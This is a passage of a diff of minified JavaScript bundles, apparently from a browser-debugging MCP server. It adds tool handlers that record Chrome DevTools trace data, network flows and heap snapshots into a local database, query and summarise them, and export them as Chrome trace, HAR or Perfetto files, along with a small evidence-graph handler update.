e.data==`string`?A(e.data):e.data,scriptId:e.scriptId,lineNumber:e.lineNumber,requestId:e.requestId??null,sequence:e.sequence??null}),ie=e=>({requestId:e.requestId,url:e.url,method:e.method,resourceType:e.resourceType,requestHeaders:A(e.requestHeaders),requestPostDataPresent:e.requestPostData!==null,status:e.status,statusText:e.statusText,responseHeaders:A(e.responseHeaders),mimeType:e.mimeType,protocol:e.protocol,remoteAddress:e.remoteAddress,fromDiskCache:e.fromDiskCache,fromServiceWorker:e.fromServiceWorker,startedWallTime:e.startedWallTime,responseWallTime:e.responseWallTime,finishedWallTime:e.finishedWallTime,startedMonotonicTime:e.startedMonotonicTime,responseMonotonicTime:e.responseMonotonicTime,finishedMonotonicTime:e.finishedMonotonicTime,encodedDataLength:e.encodedDataLength,receivedDataLength:e.receivedDataLength,receivedEncodedDataLength:e.receivedEncodedDataLength,chunkCount:e.chunkCount,streamingEnabled:e.streamingEnabled,streamingSupported:e.streamingSupported,streamingError:e.streamingError,bodyCaptureState:e.bodyCaptureState,bodySize:e.bodySize,bodyBase64Encoded:e.bodyBase64Encoded,bodyTruncated:e.bodyTruncated,bodyArtifactPath:e.bodyArtifactPath,bodyError:e.bodyError,failed:e.failed,errorText:e.errorText}),ae=e=>({sequence:e.sequence,timestamp:e.timestamp,monotonicTime:e.monotonicTime,dataLength:e.dataLength,encodedDataLength:e.encodedDataLength,hasChunkData:e.chunkData!==null,chunkPreview:e.chunkData===null?null:`${e.chunkData.slice(0,120)}${e.chunkData.length>120?`...`:``}`,chunkIsBase64:e.chunkIsBase64}),L=async(e,t)=>{if(e.bodyCaptureState===`none`&&e.bodyInline===null&&e.bodyArtifactPath===null)return null;let n=await V(e);if(n===null)return{state:e.bodyCaptureState,error:e.bodyError??`Body content is not available`,truncated:e.bodyTruncated};let r=e.bodySize??n.length;return t.returnSummary||r>t.maxBodyBytes?{state:e.bodyCaptureState,summary:{size:r,sizeKB:(r/1024).toFixed(2),base64Encoded:e.bodyBase64Encoded,preview:`${n.slice(0,500)}${n.length>500?`...`:``}`,truncated:e.bodyTruncated||r>t.maxBodyBytes,reason:t.returnSummary?`Summary mode enabled`:`Response too large (${(r/1024).toFixed(2)} KB > ${(t.maxBodyBytes/1024).toFixed(2)} KB)`}}:{state:e.bodyCaptureState,body:n,base64Encoded:e.bodyBase64Encoded,size:r,sizeKB:(r/1024).toFixed(2),truncated:e.bodyTruncated,...e.bodyError?{warning:e.bodyError}:{}}},R=(e,t,n,r)=>e.queryWithParams(`
3
+ SELECT
4
+ timestamp,
5
+ category,
6
+ event_type,
7
+ data,
8
+ script_id,
9
+ line_number,
10
+ wall_time,
11
+ monotonic_time,
12
+ request_id,
13
+ sequence
14
+ FROM events
15
+ WHERE ${t} >= ? AND ${t} <= ?
16
+ ORDER BY ${t} ASC, sequence ASC
17
+ `,[n,r]).rows.map(te),z=(e,t)=>{let n=e.detailedData;return n?n.smartHandle(t,25600):t},B=(e,t)=>{if(t)return new o({dbPath:t});let n=e.getDB();if(!n)throw Error(`GRACEFUL: No active recording and no dbPath specified. Start a recording or provide a dbPath.`);return n.flush(),n},V=async e=>typeof e.bodyInline==`string`?e.bodyInline:e.bodyArtifactPath?p(e.bodyArtifactPath,`utf8`):null;function H(e,t=`balanced`){if(e.length===0)return{detail:t,totalEvents:0,timeRange:{start:0,end:0,durationMs:0},categories:[],keyMoments:t===`compact`?void 0:[]};let n=e.map(e=>e.timestamp),r=Math.min(...n),i=Math.max(...n),a=new Map;for(let t of e){let e=a.get(t.category);e||(e={count:0,first:t.timestamp,last:t.timestamp,types:new Map},a.set(t.category,e)),e.count++,e.first=Math.min(e.first,t.timestamp),e.last=Math.max(e.last,t.timestamp),e.types.set(t.eventType,(e.types.get(t.eventType)??0)+1)}let o=[...a.entries()].toSorted((e,t)=>t[1].count-e[1].count).map(([e,t])=>({category:e,count:t.count,firstTimestamp:t.first,lastTimestamp:t.last,topEventTypes:[...t.types.entries()].toSorted((e,t)=>t[1]-e[1]).slice(0,5).map(([e,t])=>({type:e,count:t}))})),s={detail:t,totalEvents:e.length,timeRange:{start:r,end:i,durationMs:i-r},categories:o};return(t===`balanced`||t===`full`)&&(s.keyMoments=oe(e)),s}function oe(e){let t=[];for(let n of e)n.eventType===`Debugger.paused`?t.push({timestamp:n.timestamp,type:`breakpoint`,description:`Debugger paused${n.scriptId?` at script ${n.scriptId}`:``}${n.lineNumber?`:${n.lineNumber}`:``}`,data:n.data}):n.eventType===`Network.loadingFinished`?t.push({timestamp:n.timestamp,type:`network_complete`,description:`Network request completed`,data:n.data}):n.eventType===`Runtime.exceptionThrown`?t.push({timestamp:n.timestamp,type:`exception`,description:`Runtime exception thrown`,data:n.data}):(n.eventType===`Page.frameNavigated`||n.eventType===`Page.navigatedWithinDocument`)&&t.push({timestamp:n.timestamp,type:`navigation`,description:`Page navigation`,data:n.data});return t}function se(e){if(e.length===0)return{totalDeltas:0,uniqueAddresses:0,anomalies:[],topAddresses:[]};let t=new Map;for(let n of e)t.set(n.address,(t.get(n.address)??0)+1);let n=t.size,r=e.length,i=r/n,a=[...t.entries()].toSorted((e,t)=>t[1]-e[1]),o=a.slice(0,10).map(([e,t])=>({address:e,writeCount:t})),s=i*3;return{totalDeltas:r,uniqueAddresses:n,anomalies:a.filter(([,e])=>e>s).map(([e,t])=>({address:e,writeCount:t,description:`${t} writes (${(t/i).toFixed(1)}× average)`})),topAddresses:o}}function U(e,t){let n=Math.floor(t);n<0&&(n=0);do{let t=n%128;n=Math.floor(n/128),n!==0&&(t|=128),e.push(t)}while(n!==0)}function W(e,t,n){U(e,t<<3|0),U(e,n)}function G(e,t,n){U(e,t<<3|5);let r=Math.floor(n)>>>0;e.push(r&255,r>>>8&255,r>>>16&255,r>>>24&255)}function K(e,t,n){U(e,t<<3|2),U(e,n.length);for(let t=0;t<n.length;t++)e.push(n[t])}function q(e,t,n){K(e,t,new TextEncoder().encode(n))}function J(e,t,n){K(e,t,new Uint8Array(n))}function ce(e,t){let n=[];return G(n,1,e),q(n,2,t),n}function le(e,t,n){let r=[];return G(r,1,e),G(r,2,t),n&&q(r,5,n),r}function ue(e){let t=[];return W(t,1,e.uuid),e.trackName&&q(t,2,e.trackName),J(t,4,ce(e.pid,`Browser`)),J(t,5,le(e.pid,e.tid,e.threadName)),t}function Y(e){let t=[];return W(t,1,e.trackUuid),W(t,9,e.type),e.name&&q(t,23,e.name),e.category&&q(t,22,e.category),t}function de(e,t,n){let r=[];for(let t of e){let e=X({trackDescriptor:ue({uuid:t.uuid,trackName:t.name,pid:t.pid,tid:t.tid,threadName:t.name})});r.push(Z(e))}for(let e of t){let t=Y({trackUuid:e.tid,name:e.name,category:e.category,type:1,timestampUs:e.timestampUs}),n=X({timestampUs:e.timestampUs,trackEvent:t});r.push(Z(n));let i=Y({trackUuid:e.tid,name:e.name,category:e.category,type:2,timestampUs:e.timestampUs+e.durationUs}),a=X({timestampUs:e.timestampUs+e.durationUs,trackEvent:i});r.push(Z(a))}for(let e of n){let t=Y({trackUuid:e.tid,name:e.name,category:e.category,type:3,timestampUs:e.timestampUs}),n=X({timestampUs:e.timestampUs,trackEvent:t});r.push(Z(n))}let i=r.reduce((e,t)=>e+t.length,0),a=new Uint8Array(i),o=0;for(let e of r)a.set(e,o),o+=e.length;return a}function X(e){let t=[];return e.timestampUs!==void 0&&(W(t,8,e.timestampUs),W(t,58,1)),e.trackDescriptor&&J(t,60,e.trackDescriptor),e.trackEvent&&J(t,11,e.trackEvent),t}function Z(e){let t=[10];return U(t,e.length),[...t,...e]}const fe={debugger:2,network:3,memory:4,runtime:5,page:6,browser:7},Q={1:`Other`,2:`Debugger`,3:`Network`,4:`Memory`,5:`Runtime`,6:`Page`,7:`Browser`,8:`CPU Profile`};function $(e){return e?fe[e]??1:1}var pe=class{recorder;ctx;constructor(e,t){this.recorder=e,this.ctx=t}async handleTraceRecordingTool(e){return c(async()=>await this.handleTraceRecording(e))}async handleStartTraceRecordingTool(e){return c(async()=>await this.handleStartTraceRecording(e))}async handleStopTraceRecordingTool(){return c(async()=>await this.handleStopTraceRecording())}async handleQueryTraceSqlTool(e){return c(async()=>await this.handleQueryTraceSql(e))}async handleSeekToTimestampTool(e){return c(async()=>await this.handleSeekToTimestamp(e))}async handleGetTraceSamplesTool(e){return c(async()=>await this.handleGetTraceSamples(e))}async handleGetTraceNetworkFlowTool(e){return c(async()=>await this.handleGetTraceNetworkFlow(e))}async handleDiffHeapSnapshotsTool(e){return c(async()=>await this.handleDiffHeapSnapshots(e))}async handleExportTraceTool(e){return c(async()=>await this.handleExportTrace(e))}async handleSummarizeTraceTool(e){return c(async()=>await this.handleSummarizeTrace(e))}async handleTraceRecording(e){return s(e,`action`,new Set([`start`,`stop`]))===`stop`?this.handleStopTraceRecording():this.handleStartTraceRecording(e)}async handleStartTraceRecording(e){let t=ee(e.cdpDomains,`cdpDomains`),n=E(e.recordMemoryDeltas,`recordMemoryDeltas`),r=E(e.recordResponseBodies,`recordResponseBodies`),a=E(e.streamResponseChunks,`streamResponseChunks`),o=D(e.networkBodyMaxBytes,`networkBodyMaxBytes`),s=D(e.networkInlineBodyBytes,`networkInlineBodyBytes`),c=this.ctx.eventBus;if(!c)throw new i(`EventBus not available on server context`);let u=null;try{if(this.ctx.collector){let e=await this.ctx.collector.getActivePage();typeof e.createCDPSession==`function`&&(u=await e.createCDPSession())}}catch{}let d=await this.recorder.start(c,u,{cdpDomains:t,recordMemoryDeltas:n??!0,ownsSession:u!==null,network:{recordResponseBodies:r,streamResponseChunks:a,maxBodyBytes:o,inlineBodyBytes:s}});return l.ok().merge({status:`recording`,sessionId:d.sessionId,dbPath:d.dbPath,network:{recordResponseBodies:r??!0,streamResponseChunks:a??!0,maxBodyBytes:o??10*1024*1024,inlineBodyBytes:s??256*1024},message:`Recording started. CDP session: ${u?`active`:`not available`}`}).json()}async handleStopTraceRecording(){let e=await this.recorder.stop(),t=e.stoppedAt?e.stoppedAt-e.startedAt:0,n=e.cleanupErrors??[],r=n.length>0?`stopped_with_errors`:`stopped`;return l.ok().merge({status:r,sessionId:e.sessionId,dbPath:e.dbPath,eventCount:e.eventCount,memoryDeltaCount:e.memoryDeltaCount,heapSnapshotCount:e.heapSnapshotCount,networkRequestCount:e.networkRequestCount??0,networkChunkCount:e.networkChunkCount??0,networkBodyCount:e.networkBodyCount??0,durationMs:t,...n.length>0?{cleanupErrors:n}:{},message:n.length>0?`Recording stopped with cleanup errors. ${e.eventCount} events, ${e.memoryDeltaCount} memory deltas, ${e.heapSnapshotCount} heap snapshots, ${e.networkRequestCount??0} network requests, ${e.networkChunkCount??0} network chunks, ${e.networkBodyCount??0} response bodies recorded.`:`Recording stopped. ${e.eventCount} events, ${e.memoryDeltaCount} memory deltas, ${e.heapSnapshotCount} heap snapshots, ${e.networkRequestCount??0} network requests, ${e.networkChunkCount??0} network chunks, ${e.networkBodyCount??0} response bodies recorded.`}).json()}async handleQueryTraceSql(e){let t=typeof e.sql==`string`?e.sql:``,n=typeof e.dbPath==`string`?e.dbPath:void 0;if(!t)throw new r(`VALIDATION`,`sql parameter is required`);let a,s=null;try{if(n)s=new o({dbPath:n}),a=s.query(t);else{let e=this.recorder.getDB();if(!e)throw new i(`No active recording and no dbPath specified. Start a recording or provide a dbPath.`);e.flush(),a=e.query(t)}return l.ok().merge({columns:a.columns,rows:a.rows,rowCount:a.rowCount}).json()}finally{s&&s.close()}}async handleSeekToTimestamp(e){let t=O(e.timestamp,{defaultValue:NaN,min:0}),n=typeof e.dbPath==`string`?e.dbPath:void 0,i=O(e.windowMs,{defaultValue:100,min:1,max:6e4,integer:!0}),a=s(e,`timeDomain`,new Set([`wall`,`monotonic`]),`wall`)??`wall`,o=s(e,`direction`,new Set([`forward`,`backward`,`both`]),`both`)??`both`;if(!Number.isFinite(t))throw new r(`VALIDATION`,`timestamp parameter is required`);let c=o===`forward`?t:t-i,u=o===`backward`?t:t+i,d=null;try{let e=B(this.recorder,n);n&&(d=e);let r=a===`monotonic`?`COALESCE(monotonic_time, timestamp)`:`timestamp`,o=a===`monotonic`?`COALESCE(finished_monotonic_time, response_monotonic_time, started_monotonic_time)`:`COALESCE(finished_wall_time, response_wall_time, started_wall_time)`,s=a===`wall`?e.getEventsByTimeRange(c,u):R(e,r,c,u),f=e.queryWithParams(`SELECT * FROM events WHERE category = 'debugger' AND ${r} <= ? ORDER BY ${r} DESC, sequence DESC LIMIT 5`,[t]),p=a===`wall`?e.queryWithParams(`SELECT m1.* FROM memory_deltas m1
18
+ INNER JOIN (SELECT address, MAX(timestamp) as max_ts FROM memory_deltas WHERE timestamp <= ? GROUP BY address) m2
19
+ ON m1.address = m2.address AND m1.timestamp = m2.max_ts
20
+ ORDER BY m1.address`,[t]):null,m=e.queryWithParams(`SELECT * FROM network_resources
21
+ WHERE ${o} IS NOT NULL AND ${o} <= ?
22
+ ORDER BY ${o} DESC
23
+ LIMIT 20`,[t]);m.rowCount===0&&(m=e.queryWithParams(`SELECT * FROM events
24
+ WHERE category = 'network'
25
+ AND event_type = 'Network.loadingFinished'
26
+ AND ${r} <= ?
27
+ ORDER BY ${r} DESC
28
+ LIMIT 20`,[t]));let h=a===`wall`?e.queryWithParams(`SELECT id, timestamp, summary FROM heap_snapshots WHERE timestamp <= ? ORDER BY timestamp DESC LIMIT 1`,[t]):null,g=e.getSamplesInWindow(t,i),_=e.getConsoleLogsByTimeRange(c,u,a),v=e.getExceptionsByTimeRange(c,u,a);return l.ok().merge({seekTimestamp:t,timeDomain:a,windowMs:i,events:s.map(I),debuggerState:{recentEvents:f.rows.map(e=>k(f.columns,e))},memoryState:{addressValues:p?.rows.map(e=>k(p.columns,e))??[],...a===`monotonic`?{omittedReason:`Memory state is only indexed by wall-clock timestamps and is omitted for monotonic seeks.`}:{}},networkState:{completedRequests:m.rows.map(e=>k(m.columns,e))},runtimeState:{consoleLogs:_,exceptions:v},nearestHeapSnapshot:h&&h.rows.length>0?k(h.columns,h.rows[0]):null,...g.length>0?{samplesInWindow:g}:{},...a===`monotonic`?{nearestHeapSnapshotOmittedReason:`Heap snapshots are only indexed by wall-clock timestamps and are omitted for monotonic seeks.`}:{}}).json()}finally{d&&d.close()}}async handleGetTraceSamples(e){let t=s(e,`mode`,new Set([`top`,`function`,`window`]),`top`)??`top`,n=T(e.functionName,`functionName`),i=T(e.dbPath,`dbPath`),a=null;try{let o=B(this.recorder,i);if(i&&(a=o),t===`function`){if(!n)throw new r(`VALIDATION`,`functionName is required for mode="function"`);let i=O(e.limit,{defaultValue:20,min:1,max:1e3,integer:!0}),a=o.querySamplesByFunction(n,i);return l.ok().merge({mode:t,functionName:n,limit:i,sampleCount:a.length,samples:a}).json()}if(t===`window`){let n=O(e.timestamp,{defaultValue:NaN,min:0});if(!Number.isFinite(n))throw new r(`VALIDATION`,`timestamp is required for mode="window"`);let i=O(e.windowMs,{defaultValue:100,min:1,max:6e4,integer:!0}),a=O(e.limit,{defaultValue:20,min:1,max:1e3,integer:!0}),s=o.getSamplesInWindow(n,i,a);return l.ok().merge({mode:t,timestamp:n,windowMs:i,limit:a,sampleCount:s.length,samples:s}).json()}let s=O(e.limit,{defaultValue:20,min:1,max:1e3,integer:!0}),c=D(e.startTimestamp,`startTimestamp`),u=D(e.endTimestamp,`endTimestamp`),d=typeof c==`number`&&typeof u==`number`,f=d?o.getTopFunctions(s,c,u):o.getTopFunctions(s);return l.ok().merge({mode:t,limit:s,...d?{startTimestamp:c,endTimestamp:u}:{},functionCount:f.length,topFunctions:f}).json()}finally{a&&a.close()}}async handleGetTraceNetworkFlow(e){let t=T(e.requestId,`requestId`)??``,n=T(e.dbPath,`dbPath`),i=b(e.includeBody,!0),a=b(e.includeChunks,!0),o=b(e.includeEvents,!0),s=O(e.chunkLimit,{defaultValue:200,min:1,max:5e3,integer:!0}),c=O(e.maxBodyBytes,{defaultValue:1e5,min:1024,max:50*1024*1024,integer:!0}),u=b(e.returnSummary,!1);if(!t)throw new r(`VALIDATION`,`requestId parameter is required`);let d=null;try{let e=B(this.recorder,n);n&&(d=e);let f=e.getNetworkResource(t);if(!f)throw new r(`NOT_FOUND`,`No recorded network flow found for requestId: ${t}`);let p=a?e.getNetworkChunks(t,s):[],m=o?e.getEventsByRequestId(t):[],h=i?await L(f,{maxBodyBytes:c,returnSummary:u}):null,g=z(this.ctx,{requestId:t,request:ie(f),body:h,chunks:a?{total:f.chunkCount,returned:p.length,limit:s,hasMore:f.chunkCount>p.length,items:p.map(ae)}:null,events:o?m.map(I):null});return l.ok().merge(g).json()}finally{d&&d.close()}}async handleDiffHeapSnapshots(e){let t=O(e.snapshotId1,{defaultValue:NaN,min:1,integer:!0}),n=O(e.snapshotId2,{defaultValue:NaN,min:1,integer:!0}),i=typeof e.dbPath==`string`?e.dbPath:void 0;if(!Number.isFinite(t)||!Number.isFinite(n))throw new r(`VALIDATION`,`snapshotId1 and snapshotId2 are required`);let a=null;try{let e=B(this.recorder,i);i&&(a=e);let o=e.queryWithParams(`SELECT id, timestamp, summary FROM heap_snapshots WHERE id = ?`,[t]),s=e.queryWithParams(`SELECT id, timestamp, summary FROM heap_snapshots WHERE id = ?`,[n]);if(o.rowCount===0)throw new r(`NOT_FOUND`,`Snapshot with id ${t} not found`);if(s.rowCount===0)throw new r(`NOT_FOUND`,`Snapshot with id ${n} not found`);let c=k(o.columns,o.rows[0]),u=k(s.columns,s.rows[0]),d=j(c.summary),f=j(u.summary),p=M(d),m=M(f),h=new Set([...Object.keys(p),...Object.keys(m)]),g=[],_=[],v=[];for(let e of h){let t=p[e]??0,n=m[e]??0;t===0&&n>0?g.push({name:e,count:n}):t>0&&n===0?_.push({name:e,count:t}):t!==n&&v.push({name:e,countBefore:t,countAfter:n,delta:n-t})}v.sort((e,t)=>Math.abs(t.delta)-Math.abs(e.delta));let y=P(d,`totalSize`),b=P(f,`totalSize`),x=N(d),S=N(f),C=new Set([...Object.keys(x),...Object.keys(S)]),w=[];for(let e of C){let t=x[e]??0,n=S[e]??0;t!==n&&w.push({name:e,sizeBefore:t,sizeAfter:n,sizeDelta:n-t})}return w.sort((e,t)=>Math.abs(t.sizeDelta)-Math.abs(e.sizeDelta)),l.ok().merge({snapshot1:{id:c.id,timestamp:c.timestamp,totalSize:y,nodeCount:P(d,`nodeCount`)},snapshot2:{id:u.id,timestamp:u.timestamp,totalSize:b,nodeCount:P(f,`nodeCount`)},diff:{added:g.slice(0,50),removed:_.slice(0,50),changed:v.slice(0,100),totalSizeDelta:b-y,addedCount:g.length,removedCount:_.length,changedCount:v.length,topRetainers:w.slice(0,50)}}).json()}finally{a&&a.close()}}async handleExportTrace(r){let i=typeof r.dbPath==`string`?r.dbPath:void 0,a=typeof r.outputPath==`string`&&r.outputPath.trim()||void 0,o=s(r,`format`,new Set([`chrome-trace`,`har`,`perfetto`]),`chrome-trace`)??`chrome-trace`,c=[t(),...e()],l=a?await d(a,{allowedRoots:c,allowedRootsDescription:`project root or system temp directory`}):(await n({category:`traces`,toolName:`trace_export`,ext:o===`perfetto`?`bin`:o===`har`?`har`:`json`})).absolutePath,u=null;try{let e=B(this.recorder,i);return i&&(u=e),o===`perfetto`?await this.exportPerfetto(e,l,c):o===`har`?await this.exportHAR(e,l,c):await this.exportChromeTrace(e,l,c)}finally{u&&u.close()}}async exportChromeTrace(e,t,n){let r=e.query(`SELECT timestamp, category, event_type, data, script_id, line_number FROM events ORDER BY timestamp ASC, sequence ASC`),i=new Set([`Debugger.paused`]),a=new Set([`Debugger.resumed`]),o=r.rows.map(e=>{let t=F(e),n=t.timestampMs*1e3,r=t.category,o=t.eventType,s=t.data,c=`i`;return i.has(o)?c=`B`:a.has(o)&&(c=`E`),{name:o,cat:r,ph:c,ts:n,pid:1,tid:$(r),args:A(s),...c===`i`?{s:`g`}:{}}}),s=e.queryWithParams(`SELECT function_name,
29
+ SUM(self_time) AS self_time,
30
+ SUM(aggregate_time) AS aggregate_time,
31
+ COUNT(*) AS sample_count,
32
+ MIN(timestamp) AS first_ts,
33
+ script_id, url, line_number, column_number
34
+ FROM samples
35
+ WHERE function_name IS NOT NULL
36
+ GROUP BY function_name
37
+ ORDER BY self_time DESC
38
+ LIMIT 50`,[]),c=s.columns,d=e=>c.indexOf(e),f=s.rows.map(e=>{let t=e[d(`self_time`)]??0,n=e[d(`first_ts`)]??0;return{name:e[d(`function_name`)]??`(anonymous)`,cat:`cpu-profile`,ph:`X`,ts:n*1e3,dur:Math.max(t*1e3,1),pid:1,tid:8,args:{selfTimeMs:t,aggregateTimeMs:e[d(`aggregate_time`)]??0,sampleCount:e[d(`sample_count`)]??0,url:e[d(`url`)]??null,scriptId:e[d(`script_id`)]??null,lineNumber:e[d(`line_number`)]??null}}}),p=new Set([...o,...f].map(e=>e.tid)),m=[...[...p].toSorted((e,t)=>e-t).map(e=>({name:`thread_name`,cat:`__metadata`,ph:`M`,pid:1,tid:e,args:{name:Q[e]??`Other`}})),...o,...f];await u(t,JSON.stringify(m,null,2),{allowedRoots:n});let h=f.length;return l.ok().merge({exportedPath:t,eventCount:o.length,threadCount:p.size,...h>0?{cpuProfileFunctions:h}:{},format:`Chrome Trace Event JSON`,message:`Exported ${o.length} events${h>0?` and ${h} CPU profile function(s)`:``} across ${p.size} thread(s) to ${t}. Open in chrome://tracing or ui.perfetto.dev`}).json()}async exportHAR(e,t,n){let r=y(e,{creator:{name:`jshookmcp trace domain`,version:`1.0`}}),i=r.log.entries;return await u(t,JSON.stringify(r,null,2),{allowedRoots:n}),l.ok().merge({exportedPath:t,format:`HAR 1.4`,entryCount:i.length,message:`Exported ${i.length} HAR entries to ${t}`}).json()}async exportPerfetto(e,t,n){let r=e.query(`SELECT timestamp, category, event_type, data, script_id, line_number FROM events ORDER BY timestamp ASC, sequence ASC`),i=[],a=[],o=new Set;for(let e of r.rows){let t=F(e),n=$(t.category);o.has(n)||(o.add(n),i.push({tid:n,pid:1,name:Q[n]??`Thread ${n}`,uuid:n}));let r=Math.floor(t.timestampMs*1e3);a.push({name:t.eventType,category:t.category??`other`,timestampUs:r,durationUs:1,tid:n,pid:1})}let s=e.queryWithParams(`SELECT function_name,
39
+ SUM(self_time) AS self_time,
40
+ MIN(timestamp) AS first_ts
41
+ FROM samples
42
+ WHERE function_name IS NOT NULL
43
+ GROUP BY function_name
44
+ ORDER BY self_time DESC
45
+ LIMIT 50`,[]),c=s.columns,u=c.indexOf(`function_name`),d=c.indexOf(`self_time`),p=c.indexOf(`first_ts`);if(s.rows.length>0){o.has(8)||(o.add(8),i.push({tid:8,pid:1,name:`CPU Profile`,uuid:8}));for(let e of s.rows){let t=e[u]??`(anonymous)`,n=e[d]??0,r=e[p]??0;a.push({name:t,category:`cpu-profile`,timestampUs:Math.floor(r*1e3),durationUs:Math.max(Math.floor(n*1e3),1),tid:8,pid:1})}}let m=de(i,a,[]);return await f(t,m,{allowedRoots:n}),l.ok().merge({exportedPath:t,format:`Perfetto binary protobuf`,eventCount:a.length,trackCount:i.length,cpuProfileFunctions:s.rows.length,fileSizeBytes:m.length,message:`Exported ${a.length} events across ${i.length} track(s) (${m.length} bytes) to ${t}. Open in ui.perfetto.dev`}).json()}async handleSummarizeTrace(e){let t=(typeof e.detail==`string`?e.detail:void 0)===`summary`?`balanced`:s(e,`detail`,new Set([`compact`,`balanced`,`full`]),`balanced`)??`balanced`,n=typeof e.dbPath==`string`?e.dbPath:void 0,r,a=!1;if(n)r=new o({dbPath:n}),a=!0;else if(this.recorder.getState()===`recording`){let e=this.recorder.getDB();if(!e)throw new i(`Active recording has no database`);r=e}else throw new i(`No trace database specified and no active recording`);try{let e=r.query(`SELECT timestamp, category, event_type, data, script_id, line_number, wall_time, monotonic_time, request_id, sequence FROM events ORDER BY timestamp, sequence`).rows.map(ne),i=r.query(`SELECT timestamp, address, old_value, new_value, size, value_type FROM memory_deltas ORDER BY timestamp`).rows.map(re),a=r.query(`SELECT
46
+ COUNT(*) as requestCount,
47
+ COALESCE(SUM(chunk_count), 0) as chunkCount,
48
+ SUM(CASE WHEN body_capture_state IN ('inline', 'artifact', 'truncated') THEN 1 ELSE 0 END) as bodyCount
49
+ FROM network_resources`),o=r.getTopFunctions(10),s=r.query(`SELECT COUNT(*) AS cnt FROM samples`),c=s.rows.length>0?s.rows[0][0]??0:0;return l.ok().merge({events:H(e,t),memory:se(i),network:a.rows.length>0?k(a.columns,a.rows[0]):{requestCount:0,chunkCount:0,bodyCount:0},cpuProfile:{sampleCount:c,topFunctions:o},metadata:{dbPath:n??`active recording`,generatedAt:new Date().toISOString()}}).json()}finally{a&&r.close()}}};export{pe as TraceToolHandlers};
@@ -1,2 +1,2 @@
1
- import{n as e,r as t}from"./response-C7rKQst4.mjs";var n=class{graph;constructor(e){this.graph=e}pickStringArg(e,t){for(let n of t){let t=e[n];if(typeof t==`string`&&t.length>0)return t}}serializeNodes(e){return e.map(e=>({id:e.id,type:e.type,label:e.label,metadata:e.metadata}))}handleQueryDispatch(e){switch(e.by){case`function`:return this.handleQueryFunction({...e,name:this.pickStringArg(e,[`name`,`value`,`query`])});case`script`:return this.handleQueryScript({...e,scriptId:this.pickStringArg(e,[`scriptId`,`value`,`query`])});default:return this.handleQueryUrl({...e,url:this.pickStringArg(e,[`url`,`value`,`query`])})}}handleExportDispatch(e){return e.format===`markdown`?this.handleExportMarkdown():this.handleExportJson()}handleQueryUrl(t){let n=t.url,r=this.graph.queryByUrl(n);return e({query:{type:`url`,value:n},resultCount:r.length,nodes:this.serializeNodes(r)})}handleQueryFunction(t){let n=t.name,r=this.graph.queryByFunction(n);return e({query:{type:`function`,value:n},resultCount:r.length,nodes:this.serializeNodes(r)})}handleQueryScript(t){let n=t.scriptId,r=this.graph.queryByScriptId(n);return e({query:{type:`scriptId`,value:n},resultCount:r.length,nodes:this.serializeNodes(r)})}handleExportJson(){return e(this.graph.exportJson())}handleExportMarkdown(){let e=this.graph.exportMarkdown(),n=this.graph.exportJson();if(!n||!Array.isArray(n.nodes))return t(e);let r=n.nodes.filter(e=>n.edges.filter(t=>t.target===e.id).length===0),i=n.nodes.filter(e=>n.edges.filter(t=>t.source===e.id).length===0),a=n.edges.filter(e=>e.metadata&&typeof e.metadata.confidence==`number`&&e.metadata.confidence<.3),o=[];return o.push(``),o.push(`## Evidence Gaps`),o.push(``),o.push(`- **Dangling nodes (no inbound edges):** ${r.length}`),r.length>0&&o.push(` ${r.slice(0,10).map(e=>`\`${e.type}:${e.label}\``).join(`, `)}`),o.push(`- **Dangling nodes (no outbound edges):** ${i.length}`),i.length>0&&o.push(` ${i.slice(0,10).map(e=>`\`${e.type}:${e.label}\``).join(`, `)}`),o.push(`- **Low-confidence edges (<0.3):** ${a.length}`),r.length===0&&i.length===0&&a.length===0&&o.push(`- **Status:** No gaps detected — evidence chain is fully connected.`),o.push(``),t(e+o.join(`
1
+ import{n as e,r as t}from"./response-R8ghbZSb.mjs";var n=class{graph;constructor(e){this.graph=e}pickStringArg(e,t){for(let n of t){let t=e[n];if(typeof t==`string`&&t.length>0)return t}}serializeNodes(e){return e.map(e=>({id:e.id,type:e.type,label:e.label,metadata:e.metadata}))}handleQueryDispatch(e){switch(e.by){case`function`:return this.handleQueryFunction({...e,name:this.pickStringArg(e,[`name`,`value`,`query`])});case`script`:return this.handleQueryScript({...e,scriptId:this.pickStringArg(e,[`scriptId`,`value`,`query`])});default:return this.handleQueryUrl({...e,url:this.pickStringArg(e,[`url`,`value`,`query`])})}}handleExportDispatch(e){return e.format===`markdown`?this.handleExportMarkdown():this.handleExportJson()}handleQueryUrl(t){let n=t.url,r=this.graph.queryByUrl(n);return e({query:{type:`url`,value:n},resultCount:r.length,nodes:this.serializeNodes(r)})}handleQueryFunction(t){let n=t.name,r=this.graph.queryByFunction(n);return e({query:{type:`function`,value:n},resultCount:r.length,nodes:this.serializeNodes(r)})}handleQueryScript(t){let n=t.scriptId,r=this.graph.queryByScriptId(n);return e({query:{type:`scriptId`,value:n},resultCount:r.length,nodes:this.serializeNodes(r)})}handleExportJson(){return e(this.graph.exportJson())}handleExportMarkdown(){let e=this.graph.exportMarkdown(),n=this.graph.exportJson();if(!n||!Array.isArray(n.nodes))return t(e);let r=n.nodes.filter(e=>n.edges.filter(t=>t.target===e.id).length===0),i=n.nodes.filter(e=>n.edges.filter(t=>t.source===e.id).length===0),a=n.edges.filter(e=>e.metadata&&typeof e.metadata.confidence==`number`&&e.metadata.confidence<.3),o=[];return o.push(``),o.push(`## Evidence Gaps`),o.push(``),o.push(`- **Dangling nodes (no inbound edges):** ${r.length}`),r.length>0&&o.push(` ${r.slice(0,10).map(e=>`\`${e.type}:${e.label}\``).join(`, `)}`),o.push(`- **Dangling nodes (no outbound edges):** ${i.length}`),i.length>0&&o.push(` ${i.slice(0,10).map(e=>`\`${e.type}:${e.label}\``).join(`, `)}`),o.push(`- **Low-confidence edges (<0.3):** ${a.length}`),r.length===0&&i.length===0&&a.length===0&&o.push(`- **Status:** No gaps detected — evidence chain is fully connected.`),o.push(``),t(e+o.join(`
2
2
  `))}handleChain(t){let n=t.nodeId,r=t.direction??`forward`,i=this.graph.getEvidenceChain(n,r);return e({startNode:n,direction:r,chainLength:i.length,nodes:this.serializeNodes(i)})}};export{n as EvidenceHandlers};
@@ -0,0 +1,74 @@
1
